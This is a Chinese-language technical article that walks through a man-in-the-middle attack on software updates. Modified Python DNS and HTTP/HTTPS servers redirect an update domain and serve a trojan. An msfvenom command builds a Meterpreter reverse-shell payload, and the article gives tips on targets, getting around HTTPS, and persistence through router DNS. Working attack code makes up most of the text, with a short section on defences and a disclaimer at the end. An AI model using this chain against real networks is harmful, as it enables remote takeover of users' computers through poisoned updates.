技术分享 | 劫持DNS通过流量植入木马实验
字数 1256 2025-08-18 11:37:19
DNS劫持与流量植入木马技术分析
1. 技术概述
本技术通过劫持DNS解析和HTTP/HTTPS流量,实现对目标软件更新过程的中间人攻击,从而植入恶意木马程序。主要适用于以下场景:
- 已控制目标网络中的路由器或网络设备
- 能够拦截内网用户流量
- 目标软件使用HTTP/HTTPS进行自动更新
2. 技术实现步骤
2.1 DNS服务器部署
2.1.1 基本DNS劫持
使用修改后的Python DNS服务器脚本,实现对特定域名的劫持:
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
"""
import os
import re
import socket
import threading
import time
import dns.resolver
class DNSQuery(object):
# DNS查询处理类
def __init__(self, raw):
self._raw = raw
self._query = ""
type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits
if type_ == 0: # Standard query
i = 12
j = ord(raw[i])
while j != 0:
self._query += raw[i + 1:i + j + 1] + '.'
i = i + j + 1
j = ord(raw[i])
def response(self, resolution):
# 构造DNS响应包
retVal = ""
if self._query:
retVal += self._raw[:2] # Transaction ID
retVal += "\x85\x80" # Flags (Standard query response, No error)
retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts
retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query
retVal += "\xc0\x0c" # Pointer to domain name
retVal += "\x00\x01" # Type A
retVal += "\x00\x01" # Class IN
retVal += "\x00\x00\x00\x20" # TTL (32 seconds)
retVal += "\x00\x04" # Data length
retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP
return retVal
class DNSServer(object):
def __init__(self):
self.my_resolver = dns.resolver.Resolver()
self.my_resolver.nameservers = ['8.8.8.8'] # 使用Google DNS作为上游
self._check_localhost()
self._requests = []
self._lock = threading.Lock()
try:
self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
except AttributeError:
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._socket.bind(("", 53)) # 绑定到53端口
self._running = False
self._initialized = False
def get_domain_A(self, domain):
try:
results = self.my_resolver.query(domain, 'A')
for i in results.response.answer:
for j in i.items:
try:
ip_address = j.address
if re.match('\d+\.+\d+\.+\d+\.+\d', ip_address):
return ip_address
except AttributeError as e:
continue
except Exception as e:
return '127.0.0.1'
def run(self):
def _():
try:
self._running = True
self._initialized = True
while True:
data, addr = self._socket.recvfrom(1024)
_ = DNSQuery(data)
domain = _._query[:-1]
ip = self.get_domain_A(domain)
# 特定域名劫持
if domain == 'cdn.netsarang.net':
ip = '192.168.80.142' # 攻击者服务器IP
print domain, ' -> ', ip
self._socket.sendto(_.response(ip), addr)
with self._lock:
self._requests.append(_._query)
except KeyboardInterrupt:
raise
finally:
self._running = False
thread = threading.Thread(target=_)
thread.daemon = True
thread.start()
关键点:
- 使用Google DNS(8.8.8.8)作为上游DNS服务器,确保普通域名正常解析
- 对特定域名(如cdn.netsarang.net)返回攻击者控制的IP地址
- 绑定到53端口,处理DNS查询请求
2.2 HTTP代理服务器部署
2.2.1 基本HTTP代理
# -*- coding: UTF-8 -*-
import socket
import threading, getopt, sys, string
import re
# 设置默认的最大连接数和端口号
list=50
port=80
file_contents=open('myrat.exe','rb').read()
def req_server():
return 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents
def jonnyS(client, address):
try:
# 设置超时时间
client.settimeout(500)
# 接收数据
buf = client.recv(2048)
print buf
# 将恶意文件发送给客户端
client.send(req_server())
except socket.timeout:
print 'time out'
# 关闭与客户端的连接
client.close()
def main():
# 创建socket对象
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 将socket绑定到指定地址
sock.bind(('0.0.0.0', port))
# 设置最多连接数量
sock.listen(list)
while True:
client, address = sock.accept()
thread = threading.Thread(target=jonnyS, args=(client, address))
thread.start()
if __name__ == '__main__':
main()
关键点:
- 监听80端口,等待HTTP连接
- 当收到请求时,直接返回恶意文件(myrat.exe)
- 伪造HTTP响应头,模拟合法软件更新服务器
2.3 HTTPS代理服务器部署
2.3.1 HTTPS代理实现
import socketserver, ssl, time
class MyHTTPSHandler_socket(socketserver.BaseRequestHandler):
def handle(self):
context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
context.load_cert_chain(certfile="cert.pem")
SSLSocket = context.wrap_socket(self.request, server_side=True)
self.data = SSLSocket.recv(1024)
print(self.data)
file_contents=open('myrat.exe','rb').read()
buf = 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents
SSLSocket.send(buf)
if __name__ == "__main__":
port = 443
httpd = socketserver.TCPServer(('0.0.0.0', port), MyHTTPSHandler_socket)
httpd.serve_forever()
2.3.2 生成SSL证书
openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes
关键点:
- 使用SSLContext创建SSL上下文
- 加载自签名证书
- 对socket进行SSL包装,实现HTTPS服务
- 同样返回恶意文件,但通过HTTPS协议
2.4 木马生成
使用Metasploit生成恶意负载:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=4444 -f exe -o myrat.exe
3. 攻击流程
- 部署DNS服务器,劫持目标域名(如软件更新域名)到攻击者服务器
- 部署HTTP/HTTPS代理服务器,监听相应端口
- 当目标用户启动软件并检查更新时:
- 软件向被劫持域名发送更新请求
- DNS服务器返回攻击者服务器IP
- 请求被重定向到攻击者服务器
- 攻击者服务器返回恶意程序而非正常更新
- 用户执行恶意程序,攻击者获得权限
4. 技术要点与防御
4.1 攻击要点
-
目标选择:针对自动更新或后台静默更新的应用程序成功率更高
- 如Xshell、Notepad++、Firefox等
- 这类软件通常有自动更新功能且用户不易察觉
-
HTTPS处理:对于HTTPS流量需要注意证书问题
- 使用CNAME记录绕过:将www.baidu.com重定向到www.exploit.com
- 确保拥有www.exploit.com的合法证书
-
持久性控制:在路由器上修改DNS可作为持久性控制手段
- 即使权限丢失,仍可通过DNS继续植入恶意程序
4.2 防御措施
-
DNS安全:
- 使用DNSSEC验证DNS响应
- 使用可信的DNS服务器(如8.8.8.8、1.1.1.1)
- 监控DNS查询异常
-
HTTPS验证:
- 软件应严格验证更新服务器的证书
- 使用证书固定技术(Certificate Pinning)
-
更新安全:
- 验证下载文件的数字签名
- 使用哈希校验下载文件完整性
-
网络监控:
- 监控内网异常DNS请求
- 检测异常流量模式
5. 法律与道德声明
本技术文档仅用于安全研究与防御目的,未经授权对他人系统实施此类攻击是违法行为。安全研究人员应在合法授权范围内进行测试,并遵守相关法律法规。